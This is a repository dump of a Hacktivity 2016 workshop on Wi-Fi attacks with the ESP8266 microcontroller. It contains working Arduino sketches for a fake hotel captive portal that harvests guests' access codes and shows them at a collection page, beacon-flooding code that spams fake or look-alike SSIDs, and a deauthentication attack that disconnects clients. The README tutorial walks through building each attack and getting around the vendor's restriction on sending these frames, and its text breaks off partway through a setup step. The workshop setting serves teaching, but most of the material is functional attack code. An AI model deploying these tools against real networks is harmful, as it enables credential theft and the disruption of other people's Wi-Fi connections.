├── .gitignore ├── presentation.pdf ├── img ├── HacktivityLogo.jpg ├── hotelhacktivity.png └── HacktivityLogoSmall.jpg ├── HotelHacktivity └── login.html ├── BasicBeacon └── BasicBeacon.ino ├── FakeBeaconESP8266 └── FakeBeaconESP8266.ino ├── deauth └── deauth.ino ├── FakeCaptivePortal └── FakeCaptivePortal.ino └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | 3 | -------------------------------------------------------------------------------- /presentation.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/markszabo/Hacktivity2016/HEAD/presentation.pdf -------------------------------------------------------------------------------- /img/HacktivityLogo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/markszabo/Hacktivity2016/HEAD/img/HacktivityLogo.jpg -------------------------------------------------------------------------------- /img/hotelhacktivity.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/markszabo/Hacktivity2016/HEAD/img/hotelhacktivity.png -------------------------------------------------------------------------------- /img/HacktivityLogoSmall.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/markszabo/Hacktivity2016/HEAD/img/HacktivityLogoSmall.jpg -------------------------------------------------------------------------------- /HotelHacktivity/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Login 5 | 6 | 26 | 27 | 28 | 31 | 32 |
33 |

Please enter your access code:

34 |
35 |
Access code:
36 |
37 |
38 |
39 | 40 | 41 | -------------------------------------------------------------------------------- /BasicBeacon/BasicBeacon.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * Basic Beacon frames for ESP8266 3 | * From https://github.com/kripthor/WiFiBeaconJam 4 | */ 5 | #include 6 | 7 | extern "C" { 8 | #include "user_interface.h" 9 | } 10 | 11 | String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_"; 12 | byte channel; 13 | 14 | // Beacon Packet buffer 15 | uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, 16 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 17 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 18 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 19 | /*22*/ 0xc0, 0x6c, 20 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, 21 | /*32*/ 0x64, 0x00, 22 | /*34*/ 0x01, 0x04, 23 | /* SSID */ 24 | /*36*/ 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 25 | 0x01, 0x08, 0x82, 0x84, 26 | 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, 27 | /*56*/ 0x04}; 28 | 29 | 30 | void setup() { 31 | delay(500); 32 | wifi_set_opmode(STATION_MODE); 33 | wifi_promiscuous_enable(1); 34 | } 35 | 36 | 37 | 38 | void loop() { 39 | // Randomize channel // 40 | 41 | channel = random(1,12); 42 | wifi_set_channel(channel); 43 | 44 | // Randomize SRC MAC 45 | packet[10] = packet[16] = random(256); 46 | packet[11] = packet[17] = random(256); 47 | packet[12] = packet[18] = random(256); 48 | packet[13] = packet[19] = random(256); 49 | packet[14] = packet[20] = random(256); 50 | packet[15] = packet[21] = random(256); 51 | 52 | // Randomize SSID (Fixed size 6) 53 | packet[38] = alfa[random(65)]; 54 | packet[39] = alfa[random(65)]; 55 | packet[40] = alfa[random(65)]; 56 | packet[41] = alfa[random(65)]; 57 | packet[42] = alfa[random(65)]; 58 | packet[43] = alfa[random(65)]; 59 | 60 | packet[56] = channel; 61 | 62 | wifi_send_pkt_freedom(packet, 57, 0); 63 | wifi_send_pkt_freedom(packet, 57, 0); 64 | wifi_send_pkt_freedom(packet, 57, 0); 65 | delay(1); 66 | } 67 | 68 | -------------------------------------------------------------------------------- /FakeBeaconESP8266/FakeBeaconESP8266.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | extern "C" { 4 | #include "user_interface.h" 5 | } 6 | 7 | void setup() { 8 | delay(500); 9 | wifi_set_opmode(STATION_MODE); 10 | wifi_promiscuous_enable(1); 11 | } 12 | 13 | void loop() { 14 | //sendBeacon("test"); //sends beacon frames with the SSID 'test' 15 | //sendRandomBeacon(10); //sends beacon frames with 10 character long random SSID 16 | sendFuzzedBeacon("test",10); //sends beacon frames with 10 different SSID all starting with 'test' and ending with whitespaces (spaces and/or tabs) 17 | } 18 | 19 | void sendFuzzedBeacon(char* baseSsid, int nr) { 20 | int baseLen = strlen(baseSsid); 21 | int i=0; 22 | for(int j=0; j < 32 - baseLen; j++) { //32 is the maximum length of the SSID 23 | for(int k=0; k < pow(2,j); k++) { 24 | int kk = k; 25 | String ssid = baseSsid; 26 | for(int l=0; l < j; l++) { 27 | if(kk%2 == 1) ssid += " "; //add a space 28 | else ssid += "\t"; //add a tab 29 | kk /= 2; 30 | } 31 | char charBufSsid[33]; 32 | ssid.toCharArray(charBufSsid, 33); 33 | sendBeacon(charBufSsid); 34 | if(++i >= nr) return; 35 | } 36 | } 37 | } 38 | 39 | void sendRandomBeacon(int len) { 40 | char ssid[len+1]; 41 | randomString(len, ssid); 42 | sendBeacon(ssid); 43 | } 44 | 45 | void randomString(int len, char* ssid) { 46 | String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_"; 47 | for(int i = 0; i < len; i++) { 48 | ssid[i] = alfa[random(65)]; 49 | } 50 | } 51 | 52 | void sendBeacon(char* ssid) { 53 | // Randomize channel // 54 | byte channel = random(1,12); 55 | wifi_set_channel(channel); 56 | 57 | uint8_t packet[128] = { 0x80, 0x00, //Frame Control 58 | 0x00, 0x00, //Duration 59 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination address 60 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //Source address - overwritten later 61 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //BSSID - overwritten to the same as the source address 62 | /*22*/ 0xc0, 0x6c, //Seq-ctl 63 | //Frame body starts here 64 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, //timestamp - the number of microseconds the AP has been active 65 | /*32*/ 0x64, 0x00, //Beacon interval 66 | /*34*/ 0x01, 0x04, //Capability info 67 | /* SSID */ 68 | /*36*/ 0x00 69 | }; 70 | 71 | int ssidLen = strlen(ssid); 72 | packet[37] = ssidLen; 73 | 74 | for(int i = 0; i < ssidLen; i++) { 75 | packet[38+i] = ssid[i]; 76 | } 77 | 78 | uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate 79 | 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ }; 80 | 81 | for(int i = 0; i < 12; i++) { 82 | packet[38 + ssidLen + i] = postSSID[i]; 83 | } 84 | 85 | packet[50 + ssidLen] = channel; 86 | 87 | // Randomize SRC MAC 88 | packet[10] = packet[16] = random(256); 89 | packet[11] = packet[17] = random(256); 90 | packet[12] = packet[18] = random(256); 91 | packet[13] = packet[19] = random(256); 92 | packet[14] = packet[20] = random(256); 93 | packet[15] = packet[21] = random(256); 94 | 95 | int packetSize = 51 + ssidLen; 96 | 97 | wifi_send_pkt_freedom(packet, packetSize, 0); 98 | wifi_send_pkt_freedom(packet, packetSize, 0); 99 | wifi_send_pkt_freedom(packet, packetSize, 0); 100 | delay(1); 101 | } 102 | -------------------------------------------------------------------------------- /deauth/deauth.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #define CHANNEL_HOP_INTERVAL 10 4 | 5 | extern "C" { 6 | #include "user_interface.h" 7 | } 8 | 9 | #define user_procTaskPrio 0 10 | #define user_procTaskQueueLen 1 11 | os_event_t user_procTaskQueue[user_procTaskQueueLen]; 12 | static os_timer_t deauth_timer; 13 | 14 | // To limit the deauthentication, add your phone's and computer's MAC address here 15 | uint8_t phone[6] = {0x58,0x44,0x98,0x13,0x80,0x6C}; 16 | uint8_t pc[6] = {0x1C,0x65,0x9D,0xB7,0x8D,0xC6}; 17 | 18 | // Channel to perform deauth 19 | uint8_t channel = 1; 20 | 21 | // Access point MAC to deauth 22 | uint8_t ap[6] = {0x00,0x01,0x02,0x03,0x04,0x05}; 23 | 24 | // Client MAC to deauth 25 | uint8_t client[6] = {0x06,0x07,0x08,0x09,0x0A,0x0B}; 26 | 27 | // Sequence number of a packet from AP to client 28 | uint16_t seq_n = 0; 29 | 30 | // Packet buffer 31 | uint8_t packet_buffer[64]; 32 | 33 | struct RxControl { 34 | signed rssi:8; 35 | unsigned rate:4; 36 | unsigned is_group:1; 37 | unsigned:1; 38 | unsigned sig_mode:2; 39 | unsigned legacy_length:12; 40 | unsigned damatch0:1; 41 | unsigned damatch1:1; 42 | unsigned bssidmatch0:1; 43 | unsigned bssidmatch1:1; 44 | unsigned MCS:7; 45 | unsigned CWB:1; 46 | unsigned HT_length:16; 47 | unsigned Smoothing:1; 48 | unsigned Not_Sounding:1; 49 | unsigned:1; 50 | unsigned Aggregation:1; 51 | unsigned STBC:2; 52 | unsigned FEC_CODING:1; 53 | unsigned SGI:1; 54 | unsigned rxend_state:8; 55 | unsigned ampdu_cnt:8; 56 | unsigned channel:4; 57 | unsigned:12; 58 | }; 59 | 60 | struct LenSeq { 61 | uint16_t length; 62 | uint16_t seq; 63 | uint8_t address3[6]; 64 | }; 65 | 66 | struct sniffer_buf { 67 | struct RxControl rx_ctrl; 68 | uint8_t buf[36]; 69 | uint16_t cnt; 70 | struct LenSeq lenseq[1]; 71 | }; 72 | 73 | struct sniffer_buf2{ 74 | struct RxControl rx_ctrl; 75 | uint8_t buf[112]; 76 | uint16_t cnt; 77 | uint16_t len; 78 | }; 79 | 80 | // Beacon Packet buffer 81 | uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, 82 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 83 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 84 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 85 | /*22*/ 0xc0, 0x6c, 86 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, 87 | /*32*/ 0x64, 0x00, 88 | /*34*/ 0x01, 0x04, 89 | /* SSID */ 90 | /*36*/ 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 91 | 0x01, 0x08, 0x82, 0x84, 92 | 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, 93 | /*56*/ 0x04}; 94 | 95 | /* Creates a deauth packet. 96 | * 97 | * buf - reference to the data array to write packet to; 98 | * client - MAC address of the client; 99 | * ap - MAC address of the acces point; 100 | * seq - sequence number of 802.11 packet; 101 | * 102 | * Returns: size of the packet 103 | */ 104 | uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq) 105 | { 106 | int i=0; 107 | 108 | // Type: deauth 109 | buf[0] = 0xC0; 110 | buf[1] = 0x00; 111 | // Duration 0 msec, will be re-written by ESP 112 | buf[2] = 0x00; 113 | buf[3] = 0x00; 114 | // Destination 115 | for (i=0; i<6; i++) buf[i+4] = client[i]; 116 | // Sender 117 | for (i=0; i<6; i++) buf[i+10] = ap[i]; 118 | for (i=0; i<6; i++) buf[i+16] = ap[i]; 119 | // Seq_n 120 | buf[22] = seq % 0xFF; 121 | buf[23] = seq / 0xFF; 122 | // Deauth reason 123 | buf[24] = 1; 124 | buf[25] = 0; 125 | return 26; 126 | } 127 | 128 | void promisc_cb(uint8_t *buf, uint16_t len) 129 | { 130 | if (len == 12){ 131 | struct RxControl *sniffer = (struct RxControl*) buf; 132 | } else if (len == 128) { 133 | struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf; 134 | } else { 135 | struct sniffer_buf *sniffer = (struct sniffer_buf*) buf; 136 | //if it is my PC or phone 137 | if((sniffer->buf[4] == phone[0] && sniffer->buf[5] == phone[1] && sniffer->buf[6] == phone[2] && sniffer->buf[7] == phone[3] && sniffer->buf[8] == phone[4] && sniffer->buf[9] == phone[5]) || (sniffer->buf[4] == pc[0] && sniffer->buf[5] == pc[1] && sniffer->buf[6] == pc[2] && sniffer->buf[7] == pc[3] && sniffer->buf[8] == pc[4] && sniffer->buf[9] == pc[5])) { 138 | int i=0; 139 | // Set MACs 140 | for (i=0; i<6; i++) { 141 | client[i] = sniffer->buf[i+4]; 142 | } 143 | for (i=0; i<6; i++) { 144 | ap[i] = sniffer->buf[i+10]; 145 | } 146 | // Update sequence number 147 | seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22]; 148 | } 149 | } 150 | } 151 | 152 | /* Sends deauth packets. */ 153 | void deauth(void) 154 | { 155 | Serial.println("Sending deauth seq_n = " + String(seq_n/0x10) + " client: " + String(client[0],HEX) + ":" + String(client[1],HEX) + ":" + String(client[2],HEX) + ":" + String(client[3],HEX) + ":" + String(client[4],HEX) + ":" + String(client[5],HEX)+ " ap: " + String(ap[0],HEX) + ":" + String(ap[1],HEX) + ":" + String(ap[2],HEX) + ":" + String(ap[3],HEX) + ":" + String(ap[4],HEX) + ":" + String(ap[5],HEX)); 156 | // Sequence number is increased by 16, see 802.11 157 | uint16_t size = deauth_packet(packet_buffer, ap, client, seq_n+0x10); 158 | wifi_send_pkt_freedom(packet_buffer, size, 0); 159 | } 160 | 161 | void setup() { 162 | Serial.begin(115200); 163 | Serial.println("Setting up..."); 164 | // Promiscuous works only with station mode 165 | wifi_set_opmode(STATION_MODE); 166 | 167 | // Set timer for deauth 168 | os_timer_disarm(&deauth_timer); 169 | os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL); 170 | os_timer_arm(&deauth_timer, CHANNEL_HOP_INTERVAL, 1); 171 | 172 | // Set up promiscuous callback 173 | wifi_set_channel(1); 174 | wifi_promiscuous_enable(0); 175 | 176 | delay(500); 177 | 178 | wifi_set_promiscuous_rx_cb(promisc_cb); 179 | wifi_promiscuous_enable(1); 180 | } 181 | 182 | 183 | 184 | void loop() { 185 | 186 | } 187 | -------------------------------------------------------------------------------- /FakeCaptivePortal/FakeCaptivePortal.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | const byte DNS_PORT = 53; 6 | IPAddress apIP(192, 168, 1, 1); 7 | DNSServer dnsServer; 8 | ESP8266WebServer webServer(80); 9 | 10 | String login = "" 11 | "" 12 | "" 13 | "" 14 | " Login" 15 | " " 16 | " " 36 | "" 37 | "" 38 | "
" 39 | " Hotel Hacktivity Wifi Service" 100 | "
" 101 | "
" 102 | "

Please enter your access code:

" 103 | "
" 104 | "
Access code:
" 105 | "
" 106 | "
" 107 | "
" 108 | "" 109 | ""; 110 | 111 | String sniffed = ""; 112 | 113 | void setup() { 114 | WiFi.mode(WIFI_AP); 115 | WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); 116 | WiFi.softAP("HotelHacktivity"); 117 | 118 | // if DNSServer is started with "*" for domain name, it will reply with 119 | // provided IP to all DNS request 120 | dnsServer.start(DNS_PORT, "*", apIP); 121 | 122 | // redirect all requests to the login page 123 | webServer.onNotFound([]() { 124 | webServer.sendHeader("Location", String("http://www.hotelhacktivity.com/login.php"), true); 125 | webServer.send ( 302, "text/plain", ""); 126 | }); 127 | 128 | webServer.on("/login.php", []() { 129 | webServer.send(200, "text/html", login); 130 | }); 131 | 132 | webServer.on("/login2.php", []() { 133 | if(webServer.args() > 0 && webServer.argName(0) == "code") { 134 | sniffed += webServer.arg(0) + "\n"; 135 | } 136 | webServer.send(200, "text/plain", "Error - unknown error occured, please try again later."); 137 | }); 138 | 139 | webServer.on("/collect.php", []() { 140 | webServer.send(200, "text/plain", sniffed); 141 | }); 142 | 143 | webServer.begin(); 144 | } 145 | 146 | void loop() { 147 | dnsServer.processNextRequest(); 148 | webServer.handleClient(); 149 | } 150 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Wifi hacking with a 4 dollar microcontroller 2 | 3 | ## Introduction 4 | 5 | The ESP8266 is a wifi enabled microcontroller, which is popular among makers thanks to its low price: the base module costs ~$2 and you can get one with USB connector for $4. In this workshop I will show you three hacks using this module: 6 | 7 | 1. **Fake captive portal** - Captive portals are widely used in hotels and other public networks, where the wifi network is open, but upon connection a login page is showed to the user. We will see how to setup a fake captive portal and collect the login credentials. This exercises will show the basic capabilities of the microcontroller and how to use the existing functions. 8 | 2. **Send beacon frames** - These packets are used to introduce wifi networks, so if we send them with random SSID and MAC, whenever someone scans for wifi they will see a lot of new wifi networks, but they will not be able to connect to them. 9 | 3. **Send deauthentication frames** - We will continue with raw packets, and see how to send deauthentication packets to a client to make them drop their connection. 10 | 11 | ### About ESP8266 12 | 13 | The ESP8266 is a low-cost Wi-Fi chip with full TCP/IP stack and MCU (Micro Controller Unit) capability produced by Shanghai-based Chinese manufacturer, [Espressif Systems](https://espressif.com/en). 14 | 15 | Technical details: 16 | 17 | * 32-bit RISC CPU: Tensilica Xtensa LX106 running at 80 MHz 18 | * 64 KiB of instruction RAM, 96 KiB of data RAM 19 | * External QSPI flash - 512 KiB to 4 MiB (up to 16 MiB is supported) 20 | * IEEE 802.11 b/g/n Wi-Fi 21 | * Integrated TR switch, balun, LNA, power amplifier and matching network 22 | * WEP or WPA/WPA2 authentication, or open networks 23 | * 16 GPIO pins 24 | * SPI, I²C, 25 | * I²S interfaces with DMA (sharing pins with GPIO) 26 | * UART on dedicated pins, plus a transmit-only UART can be enabled on GPIO2 27 | * 1 10-bit ADC 28 | 29 | Source and more info: [Wikipedia](https://en.wikipedia.org/wiki/ESP8266), [Espressif](https://espressif.com/en/products/hardware/esp8266ex/overview). 30 | 31 | ## Setting up the environment 32 | 33 | 1. Download the Arduino IDE from [arduino.cc](https://www.arduino.cc/en/Main/Software) 34 | 2. Start Arduino IDE, go to File > Preferences and add `http://arduino.esp8266.com/stable/package_esp8266com_index.json` under `Additional board manager`. 35 | 3. Go to Tools > Board > Board Manager, search for ESP8266 and install it. 36 | 4. Go to Tools > Board and select `Generic ESP8266 module` (if your hardware looks like an Arduino, then you have the WeMos D1 and you need to select `WeMos D1 (retired)`). 37 | 38 | ### Test the environment setup 39 | 40 | To test the setup let's upload two simple example: blink and WifiScan. 41 | 42 | #### Blink 43 | 44 | 1. Go to File > Examples > Basics > Blink 45 | 2. Rewrite every 13 to 2, since the ESP8266 has its build-in led on GPIO 2. 46 | 2. Connect ESP8266 to your computer and select the right port under Tools > Port. 47 | 3. Click Upload 48 | 4. While it compiles (and before upload) press and **hold** the flash button (on the ESP8266) and press reset once, to make the microcontroller enter flash mode. If the upload fails, check the port. If still fails, make sure it enters flash mode. Hold flash and press reset multiple times before it starts to upload. (If you have the WeMos D1 or an other ESP without flash button, you can just simply press Upload and wait. If it fails first, just repeat.) 49 | 5. The ESP8266 should blink with its build in led. 50 | 6. Bonus: change it to blink faster, try to find an other build in LED (pin definition from the slides might help). 51 | 52 | #### WifiScan 53 | 54 | 1. Go to File > Examples > ESP8266Wifi > WifiScan 55 | 2. Upload it as before (don't forget to enter flash mode) 56 | 3. Go to Tools > Serial Monitor and set the Baudrate to 115200 (in the bottom right corner) 57 | 4. Wait a few seconds and see the nearby Wifi networks listed. If you see gibberish characters, check the baudrate. 58 | 5. Bonus: display other information on the Wifi networks, for example channel. (hint: [ESP8266WiFi.h](https://github.com/esp8266/Arduino/blob/4897e0006b5b0123a2fa31f67b14a3fff65ce561/libraries/ESP8266WiFi/src/ESP8266WiFi.h)). 59 | 60 | ## Fake captive portal 61 | 62 | ### The scenario 63 | 64 | You are staying in the imaginary Hotel Hacktivity. It has an open wifi `HotelHacktivity` but upon connection you are faced with the following captive portal to enter your access code: 65 | 66 | !["Captive portal of Hotel Hacktivity"](https://github.com/markszabo/Hacktivity2016/raw/master/img/hotelhacktivity.png "Captive portal of Hotel Hacktivity") 67 | 68 | Every guest receives an access code at check-in, but you have lost yours. Can you get someone else's code? 69 | 70 | ### The code 71 | 72 | Open Examples > DNSServer > CaptivePortal, and upload it. 73 | 74 | Connect to the Wifi `DNSServer CaptivePortal example` and go to any http website (eg. [bbc.com](http://www.bbc.com/) or [hotelhacktivity.com](http://www.hotelhacktivity.com/). Doesn't matter if it exists or not.) You will be faced with a captive portal. 75 | 76 | First change the name of the network in the 18th line: `WiFi.softAP("DNSServer CaptivePortal example");`. In reality we would set it to `HotelHacktivity` but to avoid collusion with others, please set it to something else (eg. add a random number to the end like `HotelHacktivity5943`, or use your nickname). Upload & test. 77 | 78 | Let's add the `login.php`! Open Examples > ESP8266WebServer > HelloServer to see an example, or just follow my instructions. 79 | 80 | Based on HelloServer add the following lines between `webServer.onNotFound([](){...});` and `webServer.begin()`: 81 | ```C++ 82 | webServer.on("/login.php", []() { 83 | webServer.send(200, "text/html", "TODO: implement login form here"); 84 | }); 85 | ``` 86 | 87 | Upload, connect and go to [anysite.com/login.php](http://anysite.com/login.php) (sine the ESP8266 is working as a DNS server, it will reply to any domain with its own ip address, so the url doesn't matter). 88 | 89 | Add the actual login page. In real life we would save the html code of the actual login page, now let's use my code. Declare the following new variable outside any function (eg. after `String responseHTML`): 90 | ```C++ 91 | String login = "" 92 | "" 93 | "" 94 | "" 95 | " Login" 96 | " " 97 | " " 117 | "" 118 | "" 119 | "
" 120 | " Hotel Hacktivity Wifi Service" 123 | "
" 124 | "
" 125 | "

Please enter your access code:

" 126 | "
" 127 | "
Access code:
" 128 | "
" 129 | "
" 130 | "
" 131 | "" 132 | ""; 133 | ``` 134 | 135 | Also change the previously added code to use this variable (replace `"TODO: implement login form here"` with `login`): 136 | ```C++ 137 | webServer.on("/login.php", []() { 138 | webServer.send(200, "text/html", login); 139 | }); 140 | ``` 141 | 142 | Upload and test: go to [anysite.com/login.php](http://anysite.com/login.php) to see the login page, and go to [anysite.com](http://anysite.com/) to see the original captive portal. 143 | 144 | Instead of the original captive portal, we need it to redirect the visitors to http://www.hotelhacktivity.com/login.php. So let's change `webServer.onNotFound` into the following: 145 | ```C++ 146 | webServer.onNotFound([]() { 147 | webServer.sendHeader("Location", String("http://www.hotelhacktivity.com/login.php"), true); 148 | webServer.send(302, "text/plain", ""); 149 | }); 150 | ``` 151 | This will send an http response with code 302 (redirect) and Location set to `http://www.hotelhacktivity.com/login.php` if any page but `/login.php` is visited. 152 | 153 | Upload, test the redirect. If you look closely, the image in the header is not displayed (or if it is, then it's from cache). Fortunately html supports base64 encoded images. To do this, we would need to download the image, resize and compress it (I used jpg quality 50% in Gimp), and then base64 encode it (either use a website like [b64.io](http://b64.io/) or [base64-image.de](https://www.base64-image.de/) or use this linux command: `cat HacktivityLogoSmall.jpg | base64`. Either do these things, or just use my code below. Change the `login` string into the following: 154 | ```C++ 155 | String login = "" 156 | "" 157 | "" 158 | "" 159 | " Login" 160 | " " 161 | " " 181 | "" 182 | "" 183 | "
" 184 | " Hotel Hacktivity Wifi Service" 245 | "
" 246 | "
" 247 | "

Please enter your access code:

" 248 | "
" 249 | "
Access code:
" 250 | "
" 251 | "
" 252 | "
" 253 | "" 254 | ""; 255 | ``` 256 | 257 | Upload and test. 258 | 259 | It should look good, but one functionality is still missing: the entered access codes are not saved. Let's change the form action to login2.php (in the `login` string change the `
` line to ``. Declare a new variable before `setup()` with `String sniffed = "";` and add the following code after `webServer.on("/login.php", [](){...});` to handle the requests to login2.php: 260 | ```C++ 261 | webServer.on("/login2.php", []() { 262 | if(webServer.args() > 0 && webServer.argName(0) == "code") { 263 | sniffed += webServer.arg(0) + "\n"; 264 | } 265 | webServer.send(200, "text/plain", "Error - unknown error occured, please try again later."); 266 | }); 267 | ``` 268 | If login2.php is queried with at least one argument and the name of the first argument is code, then it will save the value of that argument to the variable `sniffed`. Then we display an error to the user. As you can see we can access the number of GET/POST parameters by `webServer.args()`, the name of the `i`th parameter by `webServer.argName(i)` and its value as `webServer.arg(i)`. 269 | 270 | Upload and test to see the error message upon entering any code. 271 | 272 | There is one final step missing: we need to get the access codes entered by others. To do this add the following lines after `webServer.on("/login2.php", [](){...});`: 273 | ```C++ 274 | webServer.on("/collect.php", []() { 275 | webServer.send(200, "text/plain", sniffed); 276 | }); 277 | ``` 278 | Now if we go to [/collect.php](http://www.hotelhacktivity.com/collect.php), it will display all the collected access codes. Upload and check it. 279 | 280 | **Bonus**: since we store the access codes in RAM, if the ESP8266 restarts, they are gone. Implement some permanent storage for the codes! (Hint: use [EEPROM](https://github.com/esp8266/Arduino/tree/master/libraries/EEPROM) or [ESP8266's filesystem](https://github.com/esp8266/Arduino/blob/master/doc/filesystem.md)). 281 | 282 | ## Beacon frames 283 | 284 | ### Introduction 285 | 286 | "Beacon frame is one of the management frames in IEEE 802.11 based WLANs. It contains all the information about the network. Beacon frames are transmitted periodically to announce the presence of a wireless LAN. Beacon frames are transmitted by the Access Point (AP) in an infrastructure Basic service set (BSS)." Source & more info: [Wikipedia](https://en.wikipedia.org/wiki/Beacon_frame) 287 | 288 | ![Beacon frames in action - from Wikipedia](https://upload.wikimedia.org/wikipedia/commons/7/7b/802.11_Beacon_frame.gif) 289 | 290 | ### Simpler code 291 | 292 | Let's open the [BasicBeacon code](https://github.com/markszabo/Hacktivity2016/blob/master/BasicBeacon/BasicBeacon.ino) and upload it. After upload, you will see a lot of wifi networks with random 6 character SSID appearing. Let's check the code! 293 | 294 | The code starts with the following block: 295 | ```C++ 296 | extern "C" { 297 | #include "user_interface.h" 298 | } 299 | ``` 300 | This is used to expose sdk functions which are otherwise not accessible from the Arduino IDE. We will use the `wifi_send_pkt_freedom()` function. Then it defines a big buffer for the beacon packet. In the `setup()` it sets the module to `STATION_MODE` and enables promiscuous mode. These are needed to perform packet injection with the `wifi_send_pkt_freedom()` function. In the `loop()` it sets the channel to a random number, replaces the source MAC and BSSID with a random MAC, and the SSID with a random 6 character string. Then we send the frame 3 times with `wifi_send_pkt_freedom()`. 301 | 302 | ### Beacon frame's structure 303 | 304 | ![Beacon frame](https://mrncciew.files.wordpress.com/2014/10/cwap-mgmt-beacon-01.png) 305 | 306 | Let's observe our frame and identify the parts! More info and image source [here](https://mrncciew.com/2014/10/08/802-11-mgmt-beacon-frame/). 307 | ```C++ 308 | uint8_t packet[128] = { 309 | 0x80, 0x00, //frame control - indicating a beacon frame 310 | 0x00, 0x00, //duration - will be overwritten by ESP8266 311 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //DA - destination address, broadcast in this case 312 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //SA - source address, will be overwritten later 313 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //BSSID - same as SA in this case, will be overwritten later 314 | /*22*/ 0xc0, 0x6c, //Seq-ctl 315 | //Frame body starts here 316 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, //timestamp 317 | /*32*/ 0x64, 0x00, //beacon interval 318 | /*34*/ 0x01, 0x04, //capability info 319 | /* SSID */ 320 | 0x00, //ID meaning SSID 321 | 0x06, //length 322 | 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID name 323 | 0x01, //ID meaning Supported rates 324 | 0x08, //length 325 | 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //Supported rates 326 | 0x03, //ID meaning channel 327 | 0x01, //length 328 | 0x04 //will be overwritten later with the actual channel 329 | }; 330 | ``` 331 | 332 | ### Extended code 333 | 334 | Based on this let's extend the basic for arbitrary long SSID. You can do it on your own or use my code from [here](https://github.com/markszabo/Hacktivity2016/blob/master/FakeBeaconESP8266/FakeBeaconESP8266.ino). As you can see I also implemented some code to sort of fuzz a network, meaning for a network named `test` it will send packets with SSID `test`+random combination of space and tabs. All of these networks will appear the same when they user scans for wifi, so they will not be able to distinguish between them. 335 | 336 | ## Deauthentication frames 337 | 338 | Ideally sending deauthentication frames would be as easy as beacon frames. However the developers of ESP8266, Espressif doesn't want to support this feature, so the `wifi_send_pkt_freedom()` is limited to beacon frames. For some time it was only a rumor, but then someone from Espressif confirmed it [here](http://bbs.espressif.com/viewtopic.php?t=1357): 339 | 340 | >1. wifi_send_pkt_freedom can not send management packets and encrypted packets, beacon is one kind of the management packets. We add this limitation because it may effect other devices. 341 | > 342 | >2. If you really want to send beacon, please start from "0x80, 0x00 ... " *(...)* If you start from "0x00,0x00", wifi_send_pkt_freedom will detect the 80211 header and find out that it's a management packet, and send fail. 343 | > 344 | >3. wifi_send_pkt_freedom data format : start from 802.11 header, no more extra data in the front. 345 | 346 | But they made a mistake. Officially they have added the functionality in SDK 1.4 with the limitation already in place. But someone discovered, that the function is already presented in the binaries of SDK 1.3, only the function descriptions are missing from the header file. So let's get SDK 1.3 and add the missing declarations to the header file! Be aware, that this process does not always go easy, so be prepared for some debugging. 347 | 348 | ## Setting up the environment 349 | 350 | 1. Close all opened arduino IDE. 351 | 352 | 1. Download arduino 1.6.5 from [arduino.cc](https://www.arduino.cc/en/Main/OldSoftwareReleases#previous) and decompress it. 353 | 354 | 2. Enter the decompressed directory, then the `hardware` directory: `cd arduino-1.6.5-r5/hardware` 355 | 356 | 3. Create a new directory called `esp8266com`: `mkdir esp8266com` 357 | 358 | 4. Enter the new directory: `cd esp8266com` 359 | 360 | 5. Clone the git repository into a new folder called `esp8266`: `git clone https://github.com/esp8266/Arduino.git esp8266` (Alternatively [download it from github](https://github.com/esp8266/Arduino/archive/5653b9a59baa25094c891d030214aa956bec452c.zip), decompress and rename it.) 361 | 362 | 6. Enter the new directory: `cd esp8266` 363 | 364 | 7. Revert 